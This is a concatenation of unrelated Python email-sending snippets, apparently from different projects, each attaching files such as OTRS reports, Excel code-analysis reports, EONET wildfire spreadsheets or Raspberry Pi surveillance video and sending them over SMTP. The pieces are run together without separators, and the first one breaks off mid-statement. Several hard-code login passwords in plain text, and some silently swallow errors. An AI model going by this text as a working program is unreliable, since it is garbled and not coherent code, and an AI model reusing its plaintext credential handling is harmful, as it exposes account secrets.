fromaddr = 'Reportes OTRS' toaddrs = ['*****@*****.**'] #Agregar los destinatarios deseados msg = MIMEMultipart() msg['Subject'] = "Reporte semanal OTRS" msg['From'] = "Reportes OTRS" msg['To'] = ", ".join(toaddrs) # Reporte Indicadores de Resultados (Graficas) Pdf y Xls part_pdf = MIMEBase('application', "octet-stream") part_pdf.set_payload( open( os.getcwd() + "/Reporte_Indicadores_Resultados_" + str(datetime.now().isocalendar()[1]) + ".pdf", "rb").read()) encoders.encode_base64(part_pdf) part_pdf.add_header( 'Content-Disposition', 'attachment; filename="Reporte_Indicadores_Resultados_' + str(datetime.now().isocalendar()[1]) + '.pdf"') msg.attach(part_pdf) part_xls = MIMEBase('application', "octet-stream") part_xls.set_payload( open( os.getcwd() + "/Reporte_Indicadores_Resultados_" + str(datetime.now().isocalendar()[1]) + ".xls", "rb").read()) encoders.encode_base64(part_xls) part_xls.add_header( 'Content-Disposition', 'attachment; filename="Reporte_Indicadores_Resultados_' +
email_user = '******' # email_send='*****@*****.**' subject = "Almost done" msg = MIMEMultipart() msg['From'] = email_user #msg['To']=email_send msg['Subject'] = subject body = "This is being automatically sent" msg.attach(MIMEText(body, 'plain')) filename = 'love.jpg' attachment = open(filename, 'rb') part = MIMEBase('application', 'octet-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('Content-Disposition', "attachment; filename= " + filename) msg.attach(part) text = msg.as_string() server = smtplib.SMTP('smtp.gmail.com', 587) server.starttls() server.login(email_user, "DemoPass") for item in list_of_emails: server.sendmail(email_user, item, text) server.quit()
def main(application, report_path, version=None, previously_unanalysed=set()): # Generate the Excel report and get the raw percentage workbook = xlsxwriter.Workbook(report_path) percentage, new_unanalysed_percentage = unanalysed.generate_report( application, workbook, version, previously_unanalysed) workbook.close() try: # try Publish the Execution Report in CMS report_name = 'Unanalyzed Code' metric_name = 'NEW unanalysed files percentage' metric = '%.1f%%' % new_unanalysed_percentage second_metric_name = 'Unanalysed files percentage' second_metric = '%.1f%%' % percentage level = 'OK' if (new_unanalysed_percentage > 10): level = 'Warning' # this import may fail in versions < 8.3 from cast.application import publish_report # @UnresolvedImport publish_report(report_name, level, metric_name, metric, second_metric_name, second_metric, detail_report_path=report_path) except: pass # probably not in 8.3 # try to send report by email mngt_application = application.get_application_configuration() if mngt_application: try: address = mngt_application.get_email_to_send_reports() if address: logging.info('Sending report by mail to %s', address) caip = CASTAIP.get_running_caip() # Import the email modules we'll need from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders from email.mime.multipart import MIMEMultipart # Open a plain text file for reading. For this example, assume that # the text file contains only ASCII characters. msg = MIMEMultipart() msg['From'] = 'Unanalysed Code Report<' + caip.get_mail_from_address( ) + '>' msg['To'] = address msg['Subject'] = 'Unanalysed Code Report for %s' % application.get_name( ) # message body html = """\ <html> <head></head> <body> <p>Percentage of unanalysed files: %s%%<br> <p>Percentage of new unanalysed files: %s%%<br> See attachement for full details.<br> <a href="https://github.com/CAST-Extend/com.castsoftware.uc.checkanalysiscompleteness/blob/master/readme.md">Usage documentation</a> </p> </body> </html> """ % (percentage, new_unanalysed_percentage) msg.attach(MIMEText(html, 'html')) # attach report part = MIMEBase('application', "octet-stream") part.set_payload(open(report_path, "rb").read()) encoders.encode_base64(part) part.add_header( 'Content-Disposition', 'attachment; filename="completeness_report.xlsx"') msg.attach(part) server = caip.get_mail_server() server.send_message(msg) server.quit() logging.info('Mail sent') except Exception as e: logging.warning(e) pass
def send_email(to=None, cc=None, bcc=None, subject=None, attachments=None, message=None, html=True): email_from = smtp_email email_to = [email_from] files_to_send = attachments # email object msg = MIMEMultipart() msg["From"] = email_from if to: to = list(set(to)) email_to += to msg["To"] = ', '.join(to) if cc: cc = list(set(cc)) email_to += cc msg["Cc"] = ', '.join(cc) if bcc: bcc = list(set(bcc)) email_to += bcc msg["Bcc"] = ', '.join(bcc) if subject: msg["Subject"] = subject msg.preamble = subject else: msg["Subject"] = email_subject msg.preamble = email_subject message_type = 'plain' if html: message_type = 'html' if not message: message = email_message_html msg.attach(MIMEText(message, message_type)) else: message = email_message_plain msg.attach(MIMEText(message, message_type)) if not isinstance(files_to_send, list): files_to_send = [files_to_send] if files_to_send: for file_to_send in files_to_send: print('Preparing to send file - {}'.format(file_to_send)) content_type, encoding = mimetypes.guess_type(file_to_send) if content_type is None or encoding is not None: content_type = "application/octet-stream" maintype, subtype = content_type.split("/", 1) if maintype == "text": with open(file_to_send) as fp: # Note: we should handle calculating the charset attachment = MIMEText(fp.read(), _subtype=subtype) elif maintype == "image": with open(file_to_send, "rb") as fp: attachment = MIMEImage(fp.read(), _subtype=subtype) elif maintype == "audio": with open(file_to_send, "rb")as fp: attachment = MIMEAudio(fp.read(), _subtype=subtype) else: with open(file_to_send, "rb") as fp: attachment = MIMEBase(maintype, subtype) attachment.set_payload(fp.read()) encoders.encode_base64(attachment) attachment.add_header("Content-Disposition", "attachment", filename=ntpath.basename(file_to_send)) msg.attach(attachment) try: smtp_obj = smtplib.SMTP(host=smtp_server, port=smtp_port, timeout=300) smtp_obj.sendmail(from_addr=email_from, to_addrs=list(set(email_to)), msg=msg.as_string()) log.info("Successfully sent email to {}".format(str(email_to))) smtp_obj.quit() return True except smtplib.SMTPException: log.error("Error: unable to send email") return False
def mail(maddress): """Sends emails with attachements to a the inputted email address. maddress: Supplied email address, which should be seperated by a comma. Note: This function contains hard coded parts; which would not normally exist in a production script. """ sender = '*****@*****.**' gmail_password = '******' #Should be encryted recipients = [maddress] outer = MIMEMultipart() outer['Subject'] = 'EONET_DELIVERY' outer['To'] = COMMASPACE.join(recipients) outer['From'] = sender outer.preamble = 'You will not see this in a MIME-aware mail reader.\n' inner = MIMEMultipart('alternative') text = "Please find attached the latest Spreadsheet and Chart for Severe Storms and Wildfires from EONET " html = """\ <html> <head> <style> *{ padding:0; margin:0 auto; } #wrapper { width:1500px; } #header{ height:80px; background-color:blue; width:100%; } #content{ width:100%; background-color:#5DBCD2; } </style> </head> <body> <div id="wrapper"> <div id="header"></div> <div id="content"><h3>Automated Data Delivery</h3></div> </div> <p> Sir/Madam <br/><br/> Please find attached the latest Spreadsheet and Chart for Severe Storms and Wildfires from EONET </p> <p> <br/><br/> <img src = 'https://maplecroft.com/media/maplecroft/img/global/logo_maplecroft_verisk_dark.png'> </p> </body> </html> """ # List of attachments attachments = [ os.path.join(os.getcwd(), 'TEMP') + '\\' + datetime.datetime.strftime(datetime.datetime.now(), dateformat) + '_' + 'EONET_REPORT.xlsx', os.path.join(os.getcwd(), 'TEMP') + '\\' + datetime.datetime.strftime(datetime.datetime.now(), dateformat) + '_' + 'chart.png' ] # Add the attachments to the message for file in attachments: try: with open(file, 'rb') as fp: msg = MIMEBase('application', "octet-stream") msg.set_payload(fp.read()) encoders.encode_base64(msg) msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(file)) outer.attach(msg) except: print("Unable to open one of the attachments. Error: ", sys.exc_info()[0]) raise part1 = MIMEText(text, 'plain') part2 = MIMEText(html, 'html') inner.attach(part1) inner.attach(part2) outer.attach(inner) composed = outer.as_string() # Send the email try: with smtplib.SMTP('smtp.gmail.com', 587) as s: s.ehlo() s.starttls() s.ehlo() s.login(sender, gmail_password) s.sendmail(sender, recipients, composed) s.close() print("Email sent!") except: print("Unable to send the email. Error: ", sys.exc_info()[0]) raise
def sendEmail(): #This sends an email containing any type of attachment emailfrom = "*****@*****.**" emailto = ["*****@*****.**"] fileToSend = "/home/pi/picurity-system/videos/SurveillanceFootage.h264" username = "******" password = "******" msg = MIMEMultipart() msg["From"] = emailfrom msg["To"] = ", ".join(emailto) msg["Subject"] = "Motion Has Been Detected: View Attached Clip" msg.preamble = "Motion Has Been Detected: View Attached Clip" ctype, encoding = mimetypes.guess_type(fileToSend) if ctype is None or encoding is not None: ctype = "application/octet-stream" maintype, subtype = ctype.split("/", 1) fp = open(fileToSend, "rb") attachment = MIMEBase(maintype, subtype) attachment.set_payload(fp.read()) fp.close() encoders.encode_base64(attachment) attachment.add_header("Content-Disposition", "attachment", filename=fileToSend) msg.attach(attachment) server = smtplib.SMTP("smtp.gmail.com:587") server.starttls() server.login(username,password) server.sendmail(emailfrom, emailto, msg.as_string()) server.quit()
def run(self): account = str(self.account) # Create the enclosing (outer) message outer = MIMEMultipart() outer['Subject'] = 'mask{0}mask_{1}'.format(self.index, str(self.filename)) outer['To'] = account outer['From'] = account outer.preamble = 'You will not see this in a MIME-aware mail reader.\n' ctype = 'application/octet-stream' maintype, subtype = ctype.split('/', 1) fp = open(str(self.filename), 'rb') msg = MIMEBase(maintype, subtype) #msg.set_payload(encodebytes(fp.read()).decode()) msg.set_payload(fp.read()) fp.close() encoders.encode_base64(msg) # msg.add_header('Content-Transfer-Encoding', 'base64') msg.add_header('Content-Disposition', 'attachment', filename=os.path.basename(str(self.filename))) outer.attach(msg) # Send the message composed = outer.as_string() if DEBUG: fp = open("./output", 'w') fp.write(composed) fp.close() else: s = smtplib.SMTP() s.set_debuglevel(DEBUG) s.connect(self.smtp_server) s.login(account, self.password) s.sendmail(account, account, composed) s.quit()